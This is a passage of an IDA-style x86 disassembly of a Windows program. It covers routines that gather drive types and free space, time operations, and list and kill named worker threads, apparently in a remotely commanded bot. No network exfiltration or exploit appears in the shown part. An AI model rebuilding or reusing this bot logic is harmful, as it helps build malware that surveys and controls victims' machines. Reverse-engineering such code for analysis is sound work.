add al, 1 mov byte ptr [ebp+var_1C], al movsx eax, byte ptr [ebp+var_1C] cmp eax, 5Ah jnz loc_408EA4 mov eax, [ebp+var_C] leave retn sub_408E8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408F2E proc near ; DATA XREF: sub_4091E2+35o var_5DC = dword ptr -5DCh var_5D8 = dword ptr -5D8h var_5D4 = dword ptr -5D4h var_5D0 = byte ptr -5D0h var_42C = dword ptr -42Ch var_428 = dword ptr -428h var_424 = dword ptr -424h var_420 = byte ptr -420h var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = byte ptr -40Ch var_404 = byte ptr -404h var_3EF = byte ptr -3EFh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5DCh push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_5D4] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 5 pop ecx mov esi, offset aDriveInformati ; "Drive information - " lea edi, [ebp+var_404] rep movsd movsb mov ecx, 0FAh xor eax, eax lea edi, [ebp+var_3EF] rep stosd stosw stosb mov eax, dword_419398 mov [ebp+var_424], eax and [ebp+var_418], 0 and [ebp+var_5D8], 0 and [ebp+var_414], 0 mov [ebp+var_410], 1 loc_408FA6: ; CODE XREF: sub_408F2E+23Bj lea eax, [ebp+var_424] push eax call dword_4170CC ; GetDriveTypeA mov [ebp+var_5DC], eax cmp [ebp+var_5DC], 0 jz loc_409151 cmp [ebp+var_5DC], 1 jz loc_409151 cmp [ebp+var_5DC], 2 jnz short loc_408FE5 mov [ebp+var_4], offset aRemovable ; "removable" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_408FE5: ; CODE XREF: sub_408F2E+ACj cmp [ebp+var_5DC], 3 jnz short loc_408FF7 mov [ebp+var_4], offset aFixed ; "fixed" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_408FF7: ; CODE XREF: sub_408F2E+BEj cmp [ebp+var_5DC], 4 jnz short loc_409009 mov [ebp+var_4], offset aRemote ; "remote" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_409009: ; CODE XREF: sub_408F2E+D0j cmp [ebp+var_5DC], 5 jnz short loc_40901B mov [ebp+var_4], offset aCdRom ; "cd-rom" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_40901B: ; CODE XREF: sub_408F2E+E2j cmp [ebp+var_5DC], 6 jnz short loc_40902D mov [ebp+var_4], offset aRamdisk ; "ramdisk" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_40902D: ; CODE XREF: sub_408F2E+F4j mov [ebp+var_4], offset aUnknown ; "unknown" loc_409034: ; CODE XREF: sub_408F2E+B5j ; sub_408F2E+C7j ... cmp [ebp+var_5DC], 5 jz short loc_40906A cmp [ebp+var_5DC], 2 jz short loc_40906A lea eax, [ebp+var_42C] push eax lea eax, [ebp+var_420] push eax lea eax, [ebp+var_40C] push eax lea eax, [ebp+var_424] push eax call dword_4170C8 ; GetDiskFreeSpaceExA jmp short loc_40907D ; --------------------------------------------------------------------------- loc_40906A: ; CODE XREF: sub_408F2E+10Dj ; sub_408F2E+116j push 8 push 0 lea eax, [ebp+var_42C] push eax call sub_416B6A ; memset add esp, 0Ch loc_40907D: ; CODE XREF: sub_408F2E+13Aj push 0 push 100000h push [ebp+var_428] push [ebp+var_42C] call sub_416C90 mov [ebp+var_42C], eax mov [ebp+var_428], edx cmp [ebp+var_410], 0 jnz short loc_4090BF push offset dword_419404 lea eax, [ebp+var_404] push eax call sub_416B70 ; _mbscat pop ecx pop ecx jmp short loc_4090C6 ; --------------------------------------------------------------------------- loc_4090BF: ; CODE XREF: sub_408F2E+17Aj and [ebp+var_410], 0 loc_4090C6: ; CODE XREF: sub_408F2E+18Fj mov eax, [ebp+var_42C] or eax, [ebp+var_428] test eax, eax jz short loc_40910A push [ebp+var_428] push [ebp+var_42C] push [ebp+var_4] lea eax, [ebp+var_424] push eax lea eax, [ebp+var_404] push eax push offset dword_4193E4 lea eax, [ebp+var_404] push eax call dword_4171E0 ; wsprintfA add esp, 1Ch jmp short loc_409130 ; --------------------------------------------------------------------------- loc_40910A: ; CODE XREF: sub_408F2E+1A6j push [ebp+var_4] lea eax, [ebp+var_424] push eax lea eax, [ebp+var_404] push eax push offset dword_4193D4 lea eax, [ebp+var_404] push eax call dword_4171E0 ; wsprintfA add esp, 14h loc_409130: ; CODE XREF: sub_408F2E+1DAj mov eax, [ebp+var_42C] mov ecx, [ebp+var_414] add ecx, eax mov [ebp+var_414], ecx mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_409151: ; CODE XREF: sub_408F2E+92j ; sub_408F2E+9Fj mov al, byte ptr [ebp+var_424] add al, 1 mov byte ptr [ebp+var_424], al movsx eax, byte ptr [ebp+var_424] cmp eax, 5Ah jnz loc_408FA6 cmp [ebp+var_5D8], 0 jz short loc_40918B push offset dword_419404 lea eax, [ebp+var_404] push eax call sub_416B70 ; _mbscat pop ecx pop ecx loc_40918B: ; CODE XREF: sub_408F2E+248j push [ebp+var_414] push [ebp+var_5D8] lea eax, [ebp+var_404] push eax push offset dword_41939C lea eax, [ebp+var_404] push eax call dword_4171E0 ; wsprintfA add esp, 14h lea eax, [ebp+var_404] push eax push offset dword_418B64 lea eax, [ebp+var_5D0] push eax call sub_40D53F add esp, 0Ch push [ebp+var_5D4] call sub_409763 pop ecx xor eax, eax pop edi pop esi leave retn 4 sub_408F2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4091E2 proc near ; CODE XREF: sub_40A9CF+1C61p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4091FC jmp short locret_409224 ; --------------------------------------------------------------------------- loc_4091FC: ; CODE XREF: sub_4091E2+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aDriveinfoThrea ; "Driveinfo thread" push 0 push [ebp+var_4] push offset sub_408F2E call sub_4095A4 add esp, 10h locret_409224: ; CODE XREF: sub_4091E2+18j leave retn sub_4091E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409226 proc near ; CODE XREF: sub_4167F1+215p var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call dword_4170D8 ; QueryPerformanceCounter lea eax, [ebp+var_10] push eax call dword_4170D4 ; QueryPerformanceFrequency cmp [ebp+var_4], 0 jl short loc_40928E jg short loc_40924E cmp [ebp+var_8], 0 jbe short loc_40928E loc_40924E: ; CODE XREF: sub_409226+20j cmp [ebp+var_C], 0 jl short loc_40928E jg short loc_40925C cmp [ebp+var_10], 0 jbe short loc_40928E loc_40925C: ; CODE XREF: sub_409226+2Ej push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_416D10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_416CFE ; ceil pop ecx pop ecx call sub_416CF8 ; _ftol mov dword_41E2D0, eax jmp short locret_4092A2 ; --------------------------------------------------------------------------- loc_40928E: ; CODE XREF: sub_409226+1Ej ; sub_409226+26j ... call dword_4170D0 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov dword_41E2D0, eax locret_4092A2: ; CODE XREF: sub_409226+66j leave retn sub_409226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4092A4 proc near ; CODE XREF: sub_4083AD+61p ; sub_40A9CF+1CCAp ... var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call dword_4170D8 ; QueryPerformanceCounter lea eax, [ebp+var_10] push eax call dword_4170D4 ; QueryPerformanceFrequency cmp [ebp+var_4], 0 jl short loc_409307 jg short loc_4092CC cmp [ebp+var_8], 0 jbe short loc_409307 loc_4092CC: ; CODE XREF: sub_4092A4+20j cmp [ebp+var_C], 0 jl short loc_409307 jg short loc_4092DA cmp [ebp+var_10], 0 jbe short loc_409307 loc_4092DA: ; CODE XREF: sub_4092A4+2Ej push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_416D10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_416CFE ; ceil pop ecx pop ecx call sub_416CF8 ; _ftol jmp short locret_409316 ; --------------------------------------------------------------------------- loc_409307: ; CODE XREF: sub_4092A4+1Ej ; sub_4092A4+26j ... call dword_4170D0 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx locret_409316: ; CODE XREF: sub_4092A4+61j leave retn sub_4092A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409318 proc near ; CODE XREF: sub_408B30:loc_408BBCp ; sub_40A9CF:loc_40C715p var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call dword_4170D8 ; QueryPerformanceCounter lea eax, [ebp+var_10] push eax call dword_4170D4 ; QueryPerformanceFrequency cmp [ebp+var_4], 0 jl short loc_409381 jg short loc_409340 cmp [ebp+var_8], 0 jbe short loc_409381 loc_409340: ; CODE XREF: sub_409318+20j cmp [ebp+var_C], 0 jl short loc_409381 jg short loc_40934E cmp [ebp+var_10], 0 jbe short loc_409381 loc_40934E: ; CODE XREF: sub_409318+2Ej push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_416D10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_416CFE ; ceil pop ecx pop ecx call sub_416CF8 ; _ftol sub eax, dword_41E2D0 jmp short locret_40938D ; --------------------------------------------------------------------------- loc_409381: ; CODE XREF: sub_409318+1Ej ; sub_409318+26j ... call dword_4170D0 ; GetTickCount sub eax, dword_41E2D0 locret_40938D: ; CODE XREF: sub_409318+67j leave retn sub_409318 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40938F proc near ; CODE XREF: sub_4167F1+D5p push ebp mov ebp, esp and dword_41E2F0, 0 push 1980h call sub_416B46 ; malloc pop ecx mov dword_41E2F8, eax push offset dword_41E2D8 call sub_409C36 pop ecx pop ebp retn sub_40938F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4093B6 proc near ; DATA XREF: sub_409479+35o var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417278 push offset sub_416DBA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_20], 0 and [ebp+var_1C], 0 and [ebp+var_4], 0 mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_20], eax mov eax, [ebp+arg_0] mov eax, [eax+4] mov [ebp+var_1C], eax push [ebp+arg_0] call sub_416B4C ; free pop ecx push [ebp+var_20] call dword_4170DC ; IsBadCodePtr test eax, eax jz short loc_409431 cmp dword_41DE38, 0 jz short loc_40942F push [ebp+var_20] push offset dword_419474 push offset dword_41DAB4 call sub_40D4AB add esp, 0Ch loc_40942F: ; CODE XREF: sub_4093B6+62j jmp short loc_409443 ; --------------------------------------------------------------------------- loc_409431: ; CODE XREF: sub_4093B6+59j push [ebp+var_1C] call [ebp+var_20] mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_24] jmp short loc_409468 ; --------------------------------------------------------------------------- loc_409443: ; CODE XREF: sub_4093B6:loc_40942Fj or [ebp+var_4], 0FFFFFFFFh jmp short loc_409466 ; --------------------------------------------------------------------------- push offset aBtg ; "btg" push offset aThread ; "thread" push [ebp+var_14] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh loc_409466: ; CODE XREF: sub_4093B6+91j xor eax, eax loc_409468: ; CODE XREF: sub_4093B6+8Bj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_4093B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409479 proc near ; CODE XREF: sub_40764D+14Ap ; sub_409BF1+2Fp ... var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push 8 call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_409494 xor eax, eax jmp short locret_4094E4 ; --------------------------------------------------------------------------- loc_409494: ; CODE XREF: sub_409479+15j mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [eax], ecx mov eax, [ebp+var_C] mov ecx, [ebp+arg_4] mov [eax+4], ecx lea eax, [ebp+var_8] push eax push 0 push [ebp+var_C] push offset sub_4093B6 push 20000h push 0 call sub_416DC0 ; _beginthreadex add esp, 18h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4094D9 push [ebp+var_4] call dword_4170A4 ; CloseHandle push 1 pop eax jmp short locret_4094E4 ; --------------------------------------------------------------------------- loc_4094D9: ; CODE XREF: sub_409479+50j push [ebp+var_C] call sub_416B4C ; free pop ecx xor eax, eax locret_4094E4: ; CODE XREF: sub_409479+19j ; sub_409479+5Ej leave retn sub_409479 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4094E6 proc near ; DATA XREF: sub_4095A4+159o var_1A4 = dword ptr -1A4h var_1A0 = dword ptr -1A0h var_19C = byte ptr -19Ch var_19B = byte ptr -19Bh var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417288 push offset sub_416DBA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 18Ch push ebx push esi push edi mov [ebp+var_18], esp mov al, byte_41DE30 mov [ebp+var_19C], al push 60h pop ecx xor eax, eax lea edi, [ebp+var_19B] rep stosd stosw stosb and [ebp+var_4], 0 mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax+10h] mov [ebp+var_1A0], eax mov eax, [ebp+arg_0] mov eax, [eax] add eax, 14h push eax lea eax, [ebp+var_19C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push [ebp+arg_0] mov eax, [ebp+arg_0] mov eax, [eax] call dword ptr [eax+10h] mov [ebp+var_1A4], eax or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_1A4] jmp short loc_409593 ; --------------------------------------------------------------------------- lea eax, [ebp+var_19C] push eax push offset aThread ; "thread" push [ebp+var_14] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh xor eax, eax loc_409593: ; CODE XREF: sub_4094E6+8Aj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_4094E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4095A4 proc near ; CODE XREF: sub_4017AA+A2p ; sub_401D6E+8Dp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 14h push offset dword_41E2D8 call sub_409C6C pop ecx cmp dword_41E2F0, 10h jnz short loc_4095D9 push [ebp+arg_4] call sub_416B4C ; free pop ecx push offset dword_41E2D8 call sub_409C7A pop ecx xor eax, eax jmp locret_409761 ; --------------------------------------------------------------------------- loc_4095D9: ; CODE XREF: sub_4095A4+18j cmp [ebp+arg_8], 0 jz short loc_409627 and [ebp+var_10], 0 jmp short loc_4095EC ; --------------------------------------------------------------------------- loc_4095E5: ; CODE XREF: sub_4095A4:loc_409625j mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_4095EC: ; CODE XREF: sub_4095A4+3Fj cmp [ebp+var_10], 10h jge short loc_409627 mov eax, [ebp+var_10] imul eax, 198h mov ecx, dword_41E2F8 mov eax, [ecx+eax+10h] cmp eax, [ebp+arg_0] jnz short loc_409625 push [ebp+arg_4] call sub_416B4C ; free pop ecx push offset dword_41E2D8 call sub_409C7A pop ecx xor eax, eax jmp locret_409761 ; --------------------------------------------------------------------------- loc_409625: ; CODE XREF: sub_4095A4+64j jmp short loc_4095E5 ; --------------------------------------------------------------------------- loc_409627: ; CODE XREF: sub_4095A4+39j ; sub_4095A4+4Cj and [ebp+var_C], 0 and [ebp+var_8], 0 jmp short loc_409638 ; --------------------------------------------------------------------------- loc_409631: ; CODE XREF: sub_4095A4:loc_409672j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_409638: ; CODE XREF: sub_4095A4+8Bj cmp [ebp+var_8], 10h jge short loc_409674 mov eax, [ebp+var_8] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+8], 0 jnz short loc_409672 mov eax, [ebp+var_8] imul eax, 198h mov ecx, dword_41E2F8 add ecx, eax mov [ebp+var_C], ecx mov eax, [ebp+var_C] mov ecx, [ebp+var_8] mov [eax], ecx jmp short loc_409674 ; --------------------------------------------------------------------------- loc_409672: ; CODE XREF: sub_4095A4+AEj jmp short loc_409631 ; --------------------------------------------------------------------------- loc_409674: ; CODE XREF: sub_4095A4+98j ; sub_4095A4+CCj cmp [ebp+var_C], 0 jnz short loc_409695 push [ebp+arg_4] call sub_416B4C ; free pop ecx push offset dword_41E2D8 call sub_409C7A pop ecx xor eax, eax jmp locret_409761 ; --------------------------------------------------------------------------- loc_409695: ; CODE XREF: sub_4095A4+D4j cmp [ebp+arg_4], 0 jz short loc_4096A3 mov eax, [ebp+arg_4] mov ecx, [ebp+var_C] mov [eax], ecx loc_4096A3: ; CODE XREF: sub_4095A4+F5j mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [eax+10h], ecx lea eax, [ebp+arg_10] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_C] mov eax, [ebp+var_C] add eax, 14h push eax call sub_416DC6 ; vsprintf add esp, 0Ch and [ebp+var_4], 0 mov eax, [ebp+var_C] and dword ptr [eax+4], 0 mov eax, dword_41E2F0 inc eax mov dword_41E2F0, eax cmp [ebp+arg_4], 0 jz short loc_4096EB mov eax, [ebp+arg_4] mov [ebp+var_14], eax jmp short loc_4096F1 ; --------------------------------------------------------------------------- loc_4096EB: ; CODE XREF: sub_4095A4+13Dj mov eax, [ebp+var_C] mov [ebp+var_14], eax loc_4096F1: ; CODE XREF: sub_4095A4+145j mov eax, [ebp+var_C] add eax, 0Ch push eax push 0 push [ebp+var_14] push offset sub_4094E6 push 0 push 0 call sub_416DC0 ; _beginthreadex add esp, 18h mov ecx, [ebp+var_C] mov [ecx+8], eax mov eax, [ebp+var_C] cmp dword ptr [eax+8], 0 jnz short loc_409753 push [ebp+arg_4] call sub_416B4C ; free pop ecx mov eax, dword_41E2F0 dec eax mov dword_41E2F0, eax push 198h push 0 lea eax, [ebp+var_C] push eax call sub_416B6A ; memset add esp, 0Ch push offset dword_41E2D8 call sub_409C7A pop ecx xor eax, eax jmp short locret_409761 ; --------------------------------------------------------------------------- loc_409753: ; CODE XREF: sub_4095A4+177j push offset dword_41E2D8 call sub_409C7A pop ecx push 1 pop eax locret_409761: ; CODE XREF: sub_4095A4+30j ; sub_4095A4+7Cj ... leave retn sub_4095A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409763 proc near ; CODE XREF: sub_401244+73p ; sub_401244+547p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push offset dword_41E2D8 call sub_409C6C pop ecx mov eax, dword_41E2F0 dec eax mov dword_41E2F0, eax mov eax, [ebp+arg_0] push dword ptr [eax+8] call dword_4170A4 ; CloseHandle push 198h push 0 push [ebp+arg_0] call sub_416B6A ; memset add esp, 0Ch push offset dword_41E2D8 call sub_409C7A pop ecx pop ebp retn sub_409763 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4097A7 proc near ; CODE XREF: sub_40A9CF+EBFp var_194 = dword ptr -194h var_190 = byte ptr -190h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 194h cmp [ebp+arg_0], 0 jnz short loc_4097BB jmp locret_4098F1 ; --------------------------------------------------------------------------- loc_4097BB: ; CODE XREF: sub_4097A7+Dj push [ebp+arg_0] call sub_407A86 pop ecx movzx eax, al test eax, eax jz short loc_409825 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax push offset dword_41E2D8 call sub_409C6C pop ecx cmp [ebp+var_4], 10h jnb short loc_409815 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+8], 0 jz short loc_409815 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 mov dword ptr [ecx+eax+4], 1 loc_409815: ; CODE XREF: sub_4097A7+3Fj ; sub_4097A7+55j push offset dword_41E2D8 call sub_409C7A pop ecx jmp locret_4098F1 ; --------------------------------------------------------------------------- loc_409825: ; CODE XREF: sub_4097A7+22j push [ebp+arg_0] push offset aS ; "*%s*" push 185h lea eax, [ebp+var_190] push eax call sub_416BAE ; _snprintf add esp, 10h push offset dword_41E2D8 call sub_409C6C pop ecx mov eax, dword_41E2F0 mov [ebp+var_8], eax and [ebp+var_194], 0 jmp short loc_40986A ; --------------------------------------------------------------------------- loc_40985D: ; CODE XREF: sub_4097A7:loc_4098E1j mov eax, [ebp+var_194] inc eax mov [ebp+var_194], eax loc_40986A: ; CODE XREF: sub_4097A7+B4j cmp [ebp+var_194], 10h jnb short loc_4098E6 mov eax, [ebp+var_194] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+8], 0 jz short loc_4098E1 mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax lea eax, [ebp+var_190] push eax mov eax, [ebp+var_194] imul eax, 198h mov ecx, dword_41E2F8 lea eax, [ecx+eax+14h] push eax call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_4098D9 mov eax, [ebp+var_194] imul eax, 198h mov ecx, dword_41E2F8 mov dword ptr [ecx+eax+4], 1 loc_4098D9: ; CODE XREF: sub_4097A7+116j cmp [ebp+var_8], 0 jnz short loc_4098E1 jmp short loc_4098E6 ; --------------------------------------------------------------------------- loc_4098E1: ; CODE XREF: sub_4097A7+E3j ; sub_4097A7+136j jmp loc_40985D ; --------------------------------------------------------------------------- loc_4098E6: ; CODE XREF: sub_4097A7+CAj ; sub_4097A7+138j push offset dword_41E2D8 call sub_409C7A pop ecx locret_4098F1: ; CODE XREF: sub_4097A7+Fj ; sub_4097A7+79j leave retn sub_4097A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4098F3 proc near ; CODE XREF: sub_40A9CF+F13p var_19C = dword ptr -19Ch var_198 = dword ptr -198h var_194 = byte ptr -194h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 19Ch cmp [ebp+arg_0], 0 jnz short loc_409907 jmp locret_409AD3 ; --------------------------------------------------------------------------- loc_409907: ; CODE XREF: sub_4098F3+Dj push [ebp+arg_0] call sub_407A86 pop ecx movzx eax, al test eax, eax jz loc_4099B4 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax push offset dword_41E2D8 call sub_409C6C pop ecx cmp [ebp+var_4], 10h jnb short loc_4099A4 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+8], 0 jz short loc_4099A4 mov eax, dword_41E2F0 dec eax mov dword_41E2F0, eax mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 mov eax, [ecx+eax+8] mov [ebp+var_8], eax push 198h push 0 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 add ecx, eax push ecx call sub_416B6A ; memset add esp, 0Ch push 0 push [ebp+var_8] call dword_4170E0 ; TerminateThread push [ebp+var_8] call dword_4170A4 ; CloseHandle loc_4099A4: ; CODE XREF: sub_4098F3+43j ; sub_4098F3+59j push offset dword_41E2D8 call sub_409C7A pop ecx jmp locret_409AD3 ; --------------------------------------------------------------------------- loc_4099B4: ; CODE XREF: sub_4098F3+22j push [ebp+arg_0] push offset aS ; "*%s*" push 185h lea eax, [ebp+var_194] push eax call sub_416BAE ; _snprintf add esp, 10h push offset dword_41E2D8 call sub_409C6C pop ecx mov eax, dword_41E2F0 mov [ebp+var_C], eax and [ebp+var_198], 0 jmp short loc_4099F9 ; --------------------------------------------------------------------------- loc_4099EC: ; CODE XREF: sub_4098F3:loc_409AC3j mov eax, [ebp+var_198] inc eax mov [ebp+var_198], eax loc_4099F9: ; CODE XREF: sub_4098F3+F7j cmp [ebp+var_198], 10h jnb loc_409AC8 mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+8], 0 jz loc_409AC3 mov eax, [ebp+var_C] dec eax mov [ebp+var_C], eax lea eax, [ebp+var_194] push eax mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E2F8 lea eax, [ecx+eax+14h] push eax call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_409ABB mov eax, dword_41E2F0 dec eax mov dword_41E2F0, eax mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E2F8 mov eax, [ecx+eax+8] mov [ebp+var_19C], eax push 198h push 0 mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E2F8 add ecx, eax push ecx call sub_416B6A ; memset add esp, 0Ch push 0 push [ebp+var_19C] call dword_4170E0 ; TerminateThread push [ebp+var_19C] call dword_4170A4 ; CloseHandle loc_409ABB: ; CODE XREF: sub_4098F3+161j cmp [ebp+var_C], 0 jnz short loc_409AC3 jmp short loc_409AC8 ; --------------------------------------------------------------------------- loc_409AC3: ; CODE XREF: sub_4098F3+12Aj ; sub_4098F3+1CCj jmp loc_4099EC ; --------------------------------------------------------------------------- loc_409AC8: ; CODE XREF: sub_4098F3+10Dj ; sub_4098F3+1CEj push offset dword_41E2D8 call sub_409C7A pop ecx locret_409AD3: ; CODE XREF: sub_4098F3+Fj ; sub_4098F3+BCj leave retn sub_4098F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409AD5 proc near ; DATA XREF: sub_409BF1+2Ao var_1A8 = byte ptr -1A8h var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A8h push 1A3h push [ebp+arg_0] lea eax, [ebp+var_1A8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx cmp dword_41E2F0, 0 jz short loc_409B25 push 10h push dword_41E2F0 push offset dword_4194EC lea eax, [ebp+var_1A8] push eax call sub_40D53F add esp, 10h jmp short loc_409B3F ; --------------------------------------------------------------------------- loc_409B25: ; CODE XREF: sub_409AD5+30j push offset dword_4194CC lea eax, [ebp+var_1A8] push eax call sub_40D53F pop ecx pop ecx xor eax, eax jmp locret_409BED ; --------------------------------------------------------------------------- loc_409B3F: ; CODE XREF: sub_409AD5+4Ej push offset dword_41E2D8 call sub_409C6C pop ecx and [ebp+var_10], 0 and [ebp+var_4], 0 jmp short loc_409B5B ; --------------------------------------------------------------------------- loc_409B54: ; CODE XREF: sub_409AD5:loc_409BDBj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_409B5B: ; CODE XREF: sub_409AD5+7Dj cmp [ebp+var_4], 10h jge short loc_409BE0 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+8], 0 jz short loc_409BDB push offset dword_41E2D8 call sub_409C7A pop ecx push 3E8h call dword_41709C ; Sleep push offset dword_41E2D8 call sub_409C6C pop ecx mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 lea eax, [ecx+eax+14h] push eax push [ebp+var_4] push offset dword_4194BC lea eax, [ebp+var_1A8] push eax call sub_40D53F add esp, 10h mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+4], 0 jz short loc_409BDB jmp short loc_409BE0 ; --------------------------------------------------------------------------- loc_409BDB: ; CODE XREF: sub_409AD5+A0j ; sub_409AD5+102j jmp loc_409B54 ; --------------------------------------------------------------------------- loc_409BE0: ; CODE XREF: sub_409AD5+8Aj ; sub_409AD5+104j push offset dword_41E2D8 call sub_409C7A pop 